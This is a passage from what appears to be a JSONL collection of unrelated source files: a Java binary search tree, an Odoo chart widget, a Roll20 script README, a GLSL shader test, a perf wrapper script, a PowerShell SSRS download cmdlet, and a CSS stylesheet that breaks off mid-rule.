current;\n\t\t\t\t\tcurrent = current.right;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\treturn false; // Duplicate node not inserted\n\t\t\t}\n\t\t\t// Create the new node and attach it to the parent\n\t\t\tif (e.compareTo(parent.element) < 0)\n\t\t\t\tparent.left = createNewNode(e);\n\t\t\telse\n\t\t\t\tparent.right = createNewNode(e);\n\t\t}\n\n\t\tsize++;\n\t\treturn true; // Element inserted successfully\n\t}\n\n\tprotected TreeNode createNewNode(E e) {\n\t\treturn new TreeNode<>(e);\n\t}\n\n\t@Override /** Inorder traversal from the root */\n\tpublic void inorder() {\n\t\tinorder(root);\n\t}\n\n\t/** Inorder traversal from a subtree */\n\tprotected void inorder(TreeNode root) {\n\t\tif (root == null) return;\n\t\tinorder(root.left);\n\t\tSystem.out.print(root.element + \" \");\n\t\tinorder(root.right);\n\t}\n\n\t@Override /** Postorder traversal from the root */\n\tpublic void postorder() {\n\t\tpostorder(root);\n\t}\n\n\t/** Postorder traversal from a subtree */\n\tprotected void postorder(TreeNode root) {\n\t\tif (root == null) return;\n\t\tpostorder(root.left);\n\t\tpostorder(root.right);\n\t\tSystem.out.print(root.element + \" \");\n\t}\n\n\t@Override /** Preorder traversal from the root */\n\tpublic void preorder() {\n\t\tpreorder(root);\n\t}\n\n\t/** Preorder traversal from a subtree */\n\tprotected void preorder(TreeNode root) {\n\t\tif (root == null) return;\n\t\tSystem.out.print(root.element + \" \");\n\t\tpreorder(root.left);\n\t\tpreorder(root.right);\n\t}\n\n\t/** This inner class is static, because it does not access\n\t\tany instance members defined in its outer class */\n\tpublic static class TreeNode> {\n\t\tprotected E element;\n\t\tprotected TreeNode left;\n\t\tprotected TreeNode right;\n\n\t\tpublic TreeNode(E e) {\n\t\t\telement = e;\n\t\t}\n\t}\n\n\t@Override /** Get the number of nodes in the tree */\n\tpublic int getSize() {\n\t\treturn size;\n\t}\n\n\t/** Returns the root of the tree */\n\tpublic TreeNode getRoot() {\n\t\treturn root;\n\t}\n\n\t/** Return a path from the root leadting to the specified element */\n\tpublic java.util.ArrayList> path(E e) {\n\t\tjava.util.ArrayList> list = \n\t\t\tnew java.util.ArrayList<>();\n\t\tTreeNode current = root; // Start from the root\n\n\t\twhile (current != null) {\n\t\t\tlist.add(current); // Add the node to the list\n\t\t\tif (e.compareTo(current.element) < 0) {\n\t\t\t\tcurrent = current.left;\n\t\t\t}\n\t\t\telse if (e.compareTo(current.element) > 0) {\n\t\t\t\tcurrent = current.right;\n\t\t\t}\n\t\t\telse \n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn list; // Return an array list of nodes\n\t}\n\n\t@Override /** Delete an element from the binary search tree.\n\t * Return true if the element is deleted successfully.\n\t * Return false if the element is not in the tree. */\n\tpublic boolean delete(E e) {\n\t\t//Locate the node to be deleted and also locate its parent node\n\t\tTreeNode parent = null;\n\t\tTreeNode current = root;\n\t\twhile (current != null) {\n\t\t\tif (e.compareTo(current.element) < 0) {\n\t\t\t\tparent = current;\n\t\t\t\tcurrent = current.left;\n\t\t\t}\n\t\t\telse if (e.compareTo(current.element) > 0) {\n\t\t\t\tparent = current;\n\t\t\t\tcurrent = current.right;\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak; // Element is in the tree pointed at by current\n\t\t}\n\n\t\tif (current == null)\n\t\t\treturn false; // Element is not in the tree\n\n\t\t// Case 1: current has no left child\n\t\tif (current.left == null) {\n\t\t\t// Connect the parent with the right child of the current node\n\t\t\tif (parent == null) {\n\t\t\t\troot = current.right;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif (e.compareTo(parent.element) < 0)\n\t\t\t\t\tparent.left = current.right;\n\t\t\t\telse\n\t\t\t\t\tparent.right = current.right;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t// Case 2: The current node has a left child.\n\t\t\t// Locate the rightmost node in the left subtree of \n\t\t\t// the current node an also its parent.\n\t\t\tTreeNode parentOfRightMost = current;\n\t\t\tTreeNode rightMost = current.left;\n\n\t\t\twhile (rightMost.right != null) {\n\t\t\t\tparentOfRightMost = rightMost;\n\t\t\t\trightMost = rightMost.right; // Keep going to the right\n\t\t\t}\n\n\t\t\t// Replace the element in current by the element in rightMost\n\t\t\tcurrent.element = rightMost.element;\n\n\t\t\t// Eliminate rightmost node\n\t\t\tif (parentOfRightMost.right == rightMost)\n\t\t\t\tparentOfRightMost.right = rightMost.left;\n\t\t\telse\n\t\t\t\t// Special case: parentOfRightMost == current\n\t\t\t\tparentOfRightMost.left = rightMost.left;\n\t\t}\n\n\t\tsize--;\n\t\treturn true; // Element deleted successfully\n\t}\n\n\t@Override /** Obtain an iterator. Use inorder. */\n\tpublic java.util.Iterator iterator() {\n\t\treturn new InorderIterator();\n\t}\n\n\t// Inner class InorderIterator\n\tprivate class InorderIterator implements java.util.Iterator {\n\t\t// Store the elements in a list\n\t\tprivate java.util.ArrayList list =\n\t\t\tnew java.util.ArrayList<>();\n\t\tprivate int current = 0; // Point to the current element in list\n\n\t\tpublic InorderIterator() {\n\t\t\tinorder(); // Traverse binary tree and store elements in list\n\t\t}\n\n\t\t/** Inorder traversal from the root */\n\t\tprivate void inorder() {\n\t\t\tinorder(root);\n\t\t}\n\n\t\t/** Inorder traversal from a subtree */\n\t\tprivate void inorder(TreeNode root) {\n\t\t\tif (root == null) return;\n\t\t\tinorder(root.left);\n\t\t\tlist.add(root.element);\n\t\t\tinorder(root.right);\n\t\t}\n\n\t\t@Override /** More elements for traversing? */\n\t\tpublic boolean hasNext() {\n\t\t\tif (current < list.size())\n\t\t\t\treturn true;\n\n\t\t\treturn false;\n\t\t}\n\n\t\t@Override /** Get the current element and move to the next */\n\t\tpublic E next() {\n\t\t\treturn list.get(current++);\n\t\t}\n\n\t\t@Override /** Remove the current element */\n\t\tpublic void remove() {\n\t\t\tdelete(list.get(current)); // Delete the current element\n\t\t\tlist.clear(); // Clear the list\n\t\t\tinorder(); // Rebuild the list\n\t\t}\n\t}\n\n\t/** Remove all elements from the tree */\n\tpublic void clear() {\n\t\troot = null;\n\t\tsize = 0;\n\t}\n\n\t/** Displays the nodes in a breadth-first traversal */\n\tpublic void breadthFirstTraversal() {\n\t\tif (root == null) return;\n\t\tjava.util.Queue> queue = new java.util.LinkedList<>();\n\t\tqueue.add(root);\n\t\twhile (!queue.isEmpty()){\n\t\t\tTreeNode current = queue.element();\n\t\t\tif (current.left != null) {\n\t\t\t\tqueue.add(current.left);\n\t\t\t}\n\t\t\tif (current.right != null) {\n\t\t\t\tqueue.add(current.right);\n\t\t\t}\n\t\t\tSystem.out.print(queue.remove().element + \" \");\n\t\t}\n\t}\n\n\t/** Returns the height of this binary tree */\n\tpublic int height() {\n\t\treturn height(root);\n\t}\n\n\t/** Height from a subtree */\n\tprotected int height(TreeNode root) {\n\t\tif (root == null) return 0;\n\t\treturn 1 + Math.max(height(root.left), height(root.right));\n\t}\n\n\t/** Returns true if the tree is a full binary tree */\n\tpublic boolean isFullBST() {\n\t\treturn size == Math.pow(2, height()) - 1 ? true : false;\n\t}\n}"} +{"text": "odoo.define(\"web_widget_bokeh_chart\", function(require) {\n \"use strict\";\n\n var fieldRegistry = require(\"web.field_registry\");\n var AbstractField = require(\"web.AbstractField\");\n\n var BokehChartWidget = AbstractField.extend({\n _renderReadonly: function() {\n var val = this.value;\n this.$el.html(val);\n },\n });\n fieldRegistry.add(\"bokeh_chart\", BokehChartWidget);\n return {\n BokehChartWidget: BokehChartWidget,\n };\n});\n"} +{"text": "## Resizer\n\n* Version 0.0.9\n* Skype: RobinKuiper.eu\n* Discord: Atheos#1095\n* Roll20: https://app.roll20.net/users/1226016/robin\n* Roll20 Thread: https://app.roll20.net/forum/post/6285519/script-resizer/\n* Roll20 Wiki: https://wiki.roll20.net/Script:Resizer\n* Github: https://github.com/RobinKuiper/Roll20APIScripts\n* Reddit: https://www.reddit.com/user/robinkuiper/\n* Patreon: https://patreon.com/robinkuiper\n* Paypal.me: https://www.paypal.me/robinkuiper\n\n---\n\nResizer lets you easily resize graphics and pages with a simple menu.\n\n### Commands\n\n* **!resizer [width] [height]** - Resizes the selected graphic(s).\n* **!resizer page [width] [height] [?pixels]** - Resizes the page (add pixels add the end to resize in pixels instead of units).\n\n* **!resizer** - Shows the Resizer menu (if there are graphics selected it also shows there current sizes).\n* **!resizer page** - Shows the pages current size.\n\n* **!resizer scale [amount] [up/down]** - Scale the entire page (with everything on it) by amount and up or down, eg. `!resizer scale 2 up`.\n* **!resizer fit [?keep_ratio]** - Makes the selected graphic fit the page (handy for maps), add `keep_ratio` to the end to keep the graphics ratio.\n* **!resizer center [?horizontal] [?vertical]** - Center the selected graphic(s), add `h`, `hor` or `horizontal` for horizontal and `v`, `ver` or `vertical` for vertical centering.\n\n* **!resizer help** - Shows the help menu.\n* **!resizer config** - Shows the config menu.\n* **!resizer menu** - Shows a menu to easily resize graphics/pages.\n\n![Resizer Menu](https://i.imgur.com/yiQIchr.png \"Resizer Menu\")\n\nRoll20 Thread: https://app.roll20.net/forum/post/6285519/script-resizer/"} +{"text": "\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n"} +{"text": "# pylint: disable=missing-docstring\n\nANOTHER = 42\n"} +{"text": "#version 450\n#extension GL_AMD_gpu_shader_half_float : require\n\nlayout(location = 0) in float16_t v1;\nlayout(location = 1) in f16vec2 v2;\nlayout(location = 2) in f16vec3 v3;\nlayout(location = 3) in f16vec4 v4;\n\nlayout(location = 0) out float o1;\nlayout(location = 1) out vec2 o2;\nlayout(location = 2) out vec3 o3;\nlayout(location = 3) out vec4 o4;\n\n#if 0\n// Doesn't work on glslang yet.\nf16mat2 test_mat2(f16vec2 a, f16vec2 b, f16vec2 c, f16vec2 d)\n{\n\treturn f16mat2(a, b) * f16mat2(c, d);\n}\n\nf16mat3 test_mat3(f16vec3 a, f16vec3 b, f16vec3 c, f16vec3 d, f16vec3 e, f16vec3 f)\n{\n\treturn f16mat3(a, b, c) * f16mat3(d, e, f);\n}\n#endif\n\nvoid test_constants()\n{\n\tfloat16_t a = 1.0hf;\n\tfloat16_t b = 1.5hf;\n\tfloat16_t c = -1.5hf; // Negatives\n\tfloat16_t d = (0.0hf / 0.0hf); // NaN\n\tfloat16_t e = (1.0hf / 0.0hf); // +Inf\n\tfloat16_t f = (-1.0hf / 0.0hf); // -Inf\n\tfloat16_t g = 1014.0hf; // Large.\n\tfloat16_t h = 0.000001hf; // Denormal\n}\n\nfloat16_t test_result()\n{\n\treturn 1.0hf;\n}\n\nvoid test_conversions()\n{\n\tfloat16_t one = test_result();\n\tint a = int(one);\n\tuint b = uint(one);\n\tbool c = bool(one);\n\tfloat d = float(one);\n\tdouble e = double(one);\n\tfloat16_t a2 = float16_t(a);\n\tfloat16_t b2 = float16_t(b);\n\tfloat16_t c2 = float16_t(c);\n\tfloat16_t d2 = float16_t(d);\n\tfloat16_t e2 = float16_t(e);\n}\n\nvoid test_builtins()\n{\n\tf16vec4 res;\n\tres = radians(v4);\n\tres = degrees(v4);\n\tres = sin(v4);\n\tres = cos(v4);\n\tres = tan(v4);\n\tres = asin(v4);\n\tres = atan(v4, v3.xyzz);\n\tres = atan(v4);\n\tres = sinh(v4);\n\tres = cosh(v4);\n\tres = tanh(v4);\n\t//res = asinh(v4);\n\t//res = acosh(v4);\n\t//res = atanh(v4);\n\tres = pow(v4, v4);\n\tres = exp(v4);\n\tres = log(v4);\n\tres = exp2(v4);\n\tres = log2(v4);\n\tres = sqrt(v4);\n\tres = inversesqrt(v4);\n\tres = abs(v4);\n\tres = sign(v4);\n\tres = floor(v4);\n\tres = trunc(v4);\n\tres = round(v4);\n\t//res = roundEven(v4);\n\tres = ceil(v4);\n\tres = fract(v4);\n\tres = mod(v4, v4);\n\tf16vec4 tmp;\n\tres = modf(v4, tmp);\n\tres = min(v4, v4);\n\tres = max(v4, v4);\n\tres = clamp(v4, v4, v4);\n\tres = mix(v4, v4, v4);\n\tres = mix(v4, v4, lessThan(v4, v4));\n\tres = step(v4, v4);\n\tres = smoothstep(v4, v4, v4);\n\n\tbvec4 btmp = isnan(v4);\n\tbtmp = isinf(v4);\n\tres = fma(v4, v4, v4);\n\n\t//ivec4 itmp;\n\t//res = frexp(v4, itmp);\n\t//res = ldexp(res, itmp);\n\n\tuint pack0 = packFloat2x16(v4.xy);\n\tuint pack1 = packFloat2x16(v4.zw);\n\tres = f16vec4(unpackFloat2x16(pack0), unpackFloat2x16(pack1));\n\n\tfloat16_t t0 = length(v4);\n\tt0 = distance(v4, v4);\n\tt0 = dot(v4, v4);\n\tf16vec3 res3 = cross(v3, v3);\n\tres = normalize(v4);\n\tres = faceforward(v4, v4, v4);\n\tres = reflect(v4, v4);\n\tres = refract(v4, v4, v1);\n\n\tbtmp = lessThan(v4, v4);\n\tbtmp = lessThanEqual(v4, v4);\n\tbtmp = greaterThan(v4, v4);\n\tbtmp = greaterThanEqual(v4, v4);\n\tbtmp = equal(v4, v4);\n\tbtmp = notEqual(v4, v4);\n\n\tres = dFdx(v4);\n\tres = dFdy(v4);\n\tres = dFdxFine(v4);\n\tres = dFdyFine(v4);\n\tres = dFdxCoarse(v4);\n\tres = dFdyCoarse(v4);\n\tres = fwidth(v4);\n\tres = fwidthFine(v4);\n\tres = fwidthCoarse(v4);\n\n\t//res = interpolateAtCentroid(v4);\n\t//res = interpolateAtSample(v4, 0);\n\t//res = interpolateAtOffset(v4, f16vec2(0.1hf));\n}\n\nvoid main()\n{\n\t// Basic matrix tests.\n#if 0\n\tf16mat2 m0 = test_mat2(v2, v2, v3.xy, v3.xy);\n\tf16mat3 m1 = test_mat3(v3, v3, v3, v4.xyz, v4.xyz, v4.yzw);\n#endif\n\n\ttest_constants();\n\ttest_conversions();\n\ttest_builtins();\n}\n"} +{"text": "#!/bin/bash\n\n#\n# event_analyzing_sample.py can cover all type of perf samples including\n# the tracepoints, so no special record requirements, just record what\n# you want to analyze.\n#\nperf record $@\n"} +{"text": "# Copyright (c) 2016 Microsoft Corporation. All Rights Reserved.\n# Licensed under the MIT License (MIT)\n\n\nfunction Out-RsCatalogItem\n{\n <#\n .SYNOPSIS\n This downloads catalog items from a report server to disk.\n \n .DESCRIPTION\n This downloads catalog items from a report server to disk.\n Currently supported types to download are reports, datasources, datasets and resources.\n \n .PARAMETER RsItem\n Path to catalog item to download.\n \n .PARAMETER Destination\n Folder to download catalog item to.\n \n .PARAMETER ReportServerUri\n Specify the Report Server URL to your SQL Server Reporting Services Instance.\n Use the \"Connect-RsReportServer\" function to set/update a default value.\n \n .PARAMETER Credential\n Specify the credentials to use when connecting to the Report Server.\n Use the \"Connect-RsReportServer\" function to set/update a default value.\n \n .PARAMETER Proxy\n Report server proxy to use.\n Use \"New-RsWebServiceProxy\" to generate a proxy object for reuse.\n Useful when repeatedly having to connect to multiple different Report Server.\n \n .EXAMPLE\n Out-RsCatalogItem -ReportServerUri 'http://localhost/reportserver_sql2012' -RsItem /Report -Destination C:\\reports\n \n Description\n -----------\n Download catalog item 'Report' to folder 'C:\\reports'.\n\n .EXAMPLE\n Get-RsFolderContent -ReportServerUri http://localhost/ReportServer -RsItem '/SQL Server Performance Dashboard' | \n WHERE Name -Like Wait* | \n Out-RsCatalogItem -ReportServerUri http://localhost/ReportServer -Destination c:\\SQLReports\n \n Description\n -----------\n Downloads all catalog items from folder '/SQL Server Performance Dashboard' with a name that starts with 'Wait' to folder 'C:\\SQLReports'. \t\t\t\n #>\n [CmdletBinding()]\n param (\n [Alias('ItemPath', 'Path', 'RsFolder')]\n [Parameter(Mandatory = $True, ValueFromPipeline = $true)]\n [string[]]\n $RsItem,\n \n [ValidateScript({ Test-Path $_ -PathType Container})]\n [Parameter(Mandatory = $True)]\n [string]\n $Destination,\n \n [string]\n $ReportServerUri,\n \n [Alias('ReportServerCredentials')]\n [System.Management.Automation.PSCredential]\n $Credential,\n \n $Proxy\n )\n \n Begin\n {\n $Proxy = New-RsWebServiceProxyHelper -BoundParameters $PSBoundParameters\n \n $DestinationFullPath = Convert-Path $Destination\n }\n \n Process\n {\n #region Processing each path passed to it\n foreach ($item in $RsItem)\n {\n #region Retrieving content from Report Server\n try\n {\n $itemType = $Proxy.GetItemType($item)\n }\n catch\n {\n throw (New-Object System.Exception(\"Failed to retrieve item type of '$item' from proxy: $($_.Exception.Message)\", $_.Exception))\n }\n \n switch ($itemType)\n {\n \"Unknown\"\n {\n throw \"Make sure item exists at $item and item is of type Report, DataSet, DataSource or Resource\"\n }\n \"Resource\"\n {\n $fileName = ($item.Split(\"/\"))[-1]\n }\n default\n {\n $fileName = \"$(($item.Split(\"/\"))[-1])$(Get-FileExtension -TypeName $itemType)\"\n }\n }\n \n Write-Verbose \"Downloading $item...\"\n try\n {\n $bytes = $Proxy.GetItemDefinition($item)\n }\n catch\n {\n throw (New-Object System.Exception(\"Failed to retrieve item definition of '$item' from proxy: $($_.Exception.Message)\", $_.Exception))\n }\n #endregion Retrieving content from Report Server\n \n #region Writing results to file\n Write-Verbose \"Writing $itemType content to $DestinationFullPath\\$fileName...\"\n try\n {\n if ($itemType -eq 'DataSource')\n {\n $content = [System.Text.Encoding]::Unicode.GetString($bytes)\n [System.IO.File]::WriteAllText(\"$DestinationFullPath\\$fileName\", $content)\n }\n else\n {\n [System.IO.File]::WriteAllBytes(\"$DestinationFullPath\\$fileName\", $bytes)\n }\n }\n catch\n {\n throw (New-Object System.IO.IOException(\"Failed to write content to '$DestinationFullPath\\$fileName' : $($_.Exception.Message)\", $_.Exception))\n }\n \n Write-Verbose \"$item was downloaded to $DestinationFullPath\\$fileName successfully!\"\n #endregion Writing results to file\n }\n #endregion Processing each path passed to it\n }\n \n End\n {\n \n }\n}\n"} +{"text": " /* ==========================================================================\n Main\n ========================================================================== */\n/* Base */\n\n.ic * {\n font-family: \"Avenir Next\", Arial, sans-serif;\n}\n[class^=\"icon-\"] {\n font-family: FontAwesome;\n}\n.btn, .btn-small, .btn-huge, .btn-mini {\n font-family: \"Avenir Next Medium\", Arial, sans-serif;\n}\n@media screen {\n [class*=\"span\"] {\n border: 0px solid rgba(0,0,0,0);\n margin-left: 2.85715%;\n margin-right: -3px; /* Necessary to get rid of inline whitespace */\n padding: 0;\n display: inline-block;\n vertical-align: top;\n }\n [class*=\"span\"]:first-child {\n margin-left: 0;\n }\n .section-nav {\n margin-left: 0;\n }\n}\n.span1 { width: 5.714285714286%; }\n.span2 { width: 14.28571%; }\n.span3 { width: 22.85714%; }\n.span4, .span_side { width: 31.42857%; }\n.span5 { width: 40%; }\n.span6 { width: 48.57142%; }\n.span7 { width: 57.14285%; }\n.span8, .span_main { width: 65.71428%; }\n.span9 { width: 74.28571%; }\n.span10 { width: 82.85714%; }\n.span11 { width: 91.42857%; }\n.span12 { margin-left: 0; width: 100%; }\n\n.idea-home {\n overflow: auto;\n overflow-y:hidden;\n overflow-x:hidden;\n}\n\ninput[type=\"text\"],\ntextarea[type=\"text\"] {\n padding: 0.25em;\n border: 1px solid #75787B; /* Gray */\n -webkit-border-radius: 0;\n -moz-border-radius: 0;\n border-radius: 0;\n margin: 0;\n vertical-align: top;\n}\n\n.selectize-input.input-active,\ninput:focus,\ninput.focus,\ntextarea:focus,\ntextarea.focus {\n border: 1px solid #0072CE; /* Pacific */\n border-radius: 0;\n outline: 1px solid #0072CE; /* Pacific */\n outline-offset: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n\n.selectize-control.input-error .selectize-input,\ninput.input-error,\ntextarea.input-error {\n border: 1px solid #D12124; /* Red Orange */\n outline: 1px solid #D12124; /* Red Orange */\n}\n\ninput.populated,\ntextarea.populated {\n color: #888;\n}\n\n/* Improve readability when focused and hovered in all browsers: h5bp.com/h */\n.ic a:hover,\n.ic a:active {\n outline: 0;\n}\n\n/* Header */\n.project-header .row {\n margin-bottom: 1.5em;\n}\n.project-header .row p {\n margin: 0;\n}\n.logo a,\n.logo a:hover {\n text-decoration: none;\n}\n\n.project-header .info {\n margin-top: 20px;\n margin-bottom: 10px;\n font: 100%/1.375 Georgia, \"Times New Roman\", serif; /* 16px font size */\n}\n.project-title {\n margin-top: 0;\n position: relative;\n}\n.project-title a {\n color: #0072CE;\n border-bottom: 1px dotted;\n line-height: 1em;\n display: inline-block;\n margin-left: 1em;\n}\n\n.project-title a:hover,\n.project-title a:focus,\n.project-title a:active {\n border-bottom-style: solid;\n}\n.project-title a:before{\n content: \" Back to \";\n right: 100%;\n}\n.project-title:before {\n font-family: FontAwesome, \"Avenir Next Medium\", Arial, sans-serif;\n content: \"\\f053\";\n position: absolute;\n border: none;\n color: #0072CE;\n}\n\n.project-add-idea {\n margin-bottom: 2.5em;\n}\n.project-description {\n color: #000;\n font-size: 187.5%; /* 30px */\n font-weight: 600;\n line-height: 0.88;\n margin-bottom: 0.5em;\n}\n.project-prompt {\n color: #999;\n font-size: 100%; /* 16px */\n font-weight: bold;\n margin-top: 0.5em;\n text-align: left;\n text-transform: uppercase;\n}\n\n/*\n Right and Left Chevron classes with appropriate underlines\n*/\n.chevron-right {\n position: relative;\n}\n.chevron-right:after {\n font-family: FontAwesome, \"Avenir Next Medium\", Arial, sans-serif;\n content: \"\\f054\";\n position: absolute;\n left: 100%;\n top: 0;\n margin-left: .15em;\n border-bottom: none;\n}\n.chevron-left {\n position: relative;\n}\n.chevron-left:before {\n font-family: FontAwesome, \"Avenir Next Medium\", Arial, sans-serif;\n content: \"\\f053\";\n position: absolute;\n right: 100%;\n top: 0;\n margin-right: .15em;\n border-bottom: none;\n}\n\n.search-form input[type=\"text\"],\n.search-form textarea {\n height: 2em;\n width: 80%;\n}\n/* Navigation */\nh2.section a {\n font-family: \"Avenir Next Demi\", Arial, sans-serif;\n text-transform: none;\n font-weight: normal;\n}\nul.section-nav {\n border-bottom: 1px solid #000;\n padding-left: 0;\n margin-top: 0;\n margin-bottom: 0;\n list-style: none;\n overflow: auto;\n overflow-y:hidden;\n overflow-x:hidden;\n}\nul.section-nav li {\n display: inline-block;\n margin-right: 0.5em;\n border-bottom-width: 0;\n}\nul.section-nav li a {\n display: inline-block;\n padding: 0.625em 1em 0.5em;\n background: #e4e2e0;\n color: #000;\n font-family: \"Avenir Next Demi\", Arial, sans-serif;\n font-size: 0.875em;\n text-transform: uppercase;\n letter-spacing: 1px;\n text-decoration: none;\n border-bottom-width: 0;\n}\n\nul.section-nav li a:hover,\nul.section-nav li a:focus {\n background: #bcb6b2;\n}\nul.section-nav li.active a {\n background: #2cb34a;\n color: #FFF;\n}\n\n/* Content */\n.idea-entry {\n border-top: 1px solid #000;\n padding: 20px 20px 20px 0;\n}\n.idea-entry:first-child {\n border-top: 0;\n}\n.no-results {\n padding: 2.5em 0;\n}\n.idea-single .idea-votes {\n width: 6.9%; /* 72 px */\n text-align: center;\n}\n.idea-entry .idea-votes {\n text-align: center;\n}\n.idea-votes .count {\n font-size: 2.125em;\n line-height: 0.3;\n padding-top: 0.475em;\n vertical-align: none;\n}\n.idea-votes .phrase {\n font-size: .875em;\n display: block;\n font-family: \"Avenir Next Demi\", Arial, sans-serif;\n padding-top: 1em;\n text-transform: uppercase;\n}\n.idea-votes .action {\n margin-top: .75em;\n}\n.idea-title {\n padding-right: 1.875em;\n}\n.idea-banner {\n font-size: 1.125em;\n display: inline-block;\n font-family: 'Avenir Next Medium', Arial, sans-serif;\n}\n.idea-banner a {\n font-family: 'Avenir Next Medium', Arial, sans-serif;\n}\n.idea-description {\n font-family: Georgia, \"Times New Roman\", serif;\n margin: 1em 0;\n}\n.idea-footer {\n font-size: 16px;\n}\n.idea-info .suggested {\n color: #63666a;\n margin-left: .5em;\n}\n.idea-info .commented {\n color: #63666a;\n margin-right: .5em;\n}\n\n/* Comments */\n.comments {\n position: relative;\n}\n.comments h4 {\n font-size: 100%;\n font-family: \"Avenir Next Demi\", Arial, sans-serif;\n line-height: 1.66;\n min-height: 1.75em;\n text-transform: uppercase;\n}\n.comment-meta {\n font-size: 16px;\n}\n.comment-form {\n padding: 0 0 2.8em;\n margin: 1.5625em 0 0;\n}\n.comment-form textarea {\n height: 6.25em;\n margin-bottom: 0.5em;\n width: 99%;\n}\n.comment-form form {\n position: relative;\n}\n.comment-form .comment-label {\n color: #666;\n position: absolute;\n left: .25em;\n}\n.comment-form #id_is_anonymous {\n vertical-align: middle;\n}\n.comment-list {\n list-style-type: none;\n margin: 0;\n padding: 0;\n}\n.single-idea-entry {\n width: 90%; /* slightly smaller than span11 due to wide idea-votes */\n}\n.single-idea-entry .body {\n margin-top: 1.5em;\n}\n.single-idea-entry .idea-entry-content h4 {\n font-family: \"Avenir Next Medium\", Arial, sans-serif;\n}\n.single-idea-entry .idea-entry-content .detail {\n margin-top: 1.5em;\n}\n.single-idea-entry .idea-entry-content p {\n margin-top: .5em;\n}\n.single-idea-entry .idea-entry-content .edit-separator {\n padding: 0em .5em;\n}\n.comment-date {\n color: #666;\n font-weight: normal;\n}\n.comment {\n padding: 1em 0 1em;\n border-bottom: 1px solid #ccc;\n}\n\n.comment .comment {\n padding: .5em 0 .5em;\n margin-left: 2.5em;\n border-top: 1px solid #ccc;\n border-bottom: 0;\n}\n\n/* Sidebar */\n\n.sidebar ul {\n list-style-type: square;\n padding-left: 1.5em;\n}\n.ic-add-tags,\n.sidebar-nav {\n margin-bottom: 2.5em;\n}\n.challenge-banner {\n margin: 1.25em 0;\n background-color: #DBEDD4;\n padding: 1.25em;\n}\n.sidebar a,\n#challenge-link a {\n border-bottom-width: 1px;\n}\n\n#date-range {\n margin-top: 20px;\n}\n.challenge-banner #challenge-link {\n margin-top: 1.5em;\n margin-bottom: 0;\n}\n\n.banners {\n margin-bottom: 1.25em;\n}\n.banners .challenge {\n margin: .5em 0;\n}\n.challenge_view_all a{\n position:relative;\n}\n.challenge_view_all a:after {\n content: \"\\f054\";\n font-family: FontAwesome, \"Avenir Next\", Arial, sans-serif;\n margin-left: .25em;\n border: none;\n position: absolute;\n left: 100%;\n top:0;\n}\n.list_current_challenges {\n padding-top: 1.5em;\n}\n.list_past_challenges {\n padding-top: 2.5em;\n}\n.list_current_challenges .current_banners ul {\n list-style: none;\n padding-left: 0;\n}\n.list_past_challenges .past_banners ul {\n list-style: none;\n padding-left: 0;\n}\n.current_banner_list_item {\n padding-bottom: 1.0em;\n}\n.past_banner_list_item {\n padding-bottom:1.0em;\n}\n.voters {\n margin-bottom: 2.5em;\n}\n.tags .tag {\n display: block;\n margin: 0 0.5em 0.75em -0.5em;\n}\n.tags .tag:before {\n position: relative;\n left: -0.75em;\n}\n.tags .tag a {\n font-family: \"Avenir Next Demi\", Arial, sans-serif;\n}\n.sidebar .tags form input[type=\"text\"] {\n width: 11em;\n}\n.ic-add-tags .help-text {\n font-size: 87.5%;\n} .sidebar-nav a {\n font-size: 87.5%; /* 14px */\n}\n\n/* Add View */\n.project-add {\n margin: 1.5em 0 0;\n}\n.project-add form > div {\n margin: 1em 0;\n position: relative;\n}\n.project-add form textarea {\n height: 5.25em;\n max-width: 48.57142%;\n padding-bottom: 1.25em;\n}\n.project-add form textarea#id_text {\n height: 8.25em;\n}\n.project-add label {\n display: block;\n position: relative;\n}\n.project-add input#id_title,\n.project-add select#id_banner,\n.project-add textarea#id_text,\n.project-add textarea#id_summary,\n.project-add input#id_tags,\n.selectize-control {\n width: 48.57142%;\n display: block;\n margin: 0;\n}\n.project-add .textAreaCountMessage {\n width: 48.57142%;\n position: relative;\n}\n.project-add span[id$=\"textcount\"] {\n font-style: italic;\n background-color: #FFF;\n line-height: 1em;\n font-size: 0.875em;\n position: absolute;\n bottom: 2px;\n right: 0.75em;\n margin-right: .25em;\n text-align: right;\n}\n.project-add .banner {\n margin-top: 0;\n}\n.project-add .challenge-checkbox {\n margin-bottom: 0;\n margin-right: .5em;\n}\n.project-add .is_anonymous {\n padding-bottom: 1em;\n}\n.project-add .is_anonymous label,\n.project-add .challenge-checkbox label {\n display: inline-block;\n vertical-align: middle;\n}\n.project-add .is_anonymous input,\n.project-add .challenge-checkbox input {\n display: inline-block;\n vertical-align: middle;\n}\n.project-add select#id_banner {\n visibility: hidden;\n}\n.project-add select#id_banner.active {\n visibility: visible;\n}\n.form-field-footer {\n position: relative;\n}\n.project-add .help_text {\n margin: 0;\n font-style: italic;\n width: 48.57142%;\n font-size: 0.875em;\n visibility: hidden;\n display: block;\n}\n.errorlist {\n list-style: none;\n padding: 0;\n}\n.errorlist li {\n position: absolute;\n top: 0;\n left: 2px;\n margin: 0;\n padding: 0;\n}\n.project-add span#submit-buttons {\n display: block;\n margin-top: 1.375em;\n}\n.project-add span#submit-buttons input {\n vertical-align: middle;\n}\n.project-add #add-idea-btn,\n.project-add .secondary-action {\n margin-top: 1.625em;\n margin-bottom: 2em;\n}\n.idea-hero {\n margin: 0 0 0 0;\n}\n.main-content a {\n border-bottom-width: 1px;\n}\n\n/* Single View */\n.challenge-info p.challenge-entry-content,\n.single-idea-entry .idea-entry-content p {\n font: 100%/1.375 Georgia, \"Times New Roman\", serif; /* 16px font size */\n}\n\n.challenge-info p.challenge-entry-content {\n margin: .5em 0;\n}\n.idea-add,\n.idea-single,\n.idea-banner-single {\n padding-top: 1.5em;\n}\n.idea-single .main-content {\n padding-top: 1.5em;\n}\n.idea-single .comments {\n border-top: 3px solid #f2f2f2;\n margin-top: 2.5em;\n padding-top: 1.5625em;\n}\n\n/* ==========================================================================\n Helper classes\n ========================================================================== */\n\n/* Style help */\n.border-bottom {\n border-bottom: 3px solid #000;\n}\n#work_tag_submit_btn {\n margin-top: .5em;\n}\n\n.btn-voted {\n color: #75787B;\n background-color: #E3E4E5;\n cursor: default;\n}\n.btn-voted:focus{\n outline: none;\n\n}\n\ninput.btn-voted:hover {\n background-color: 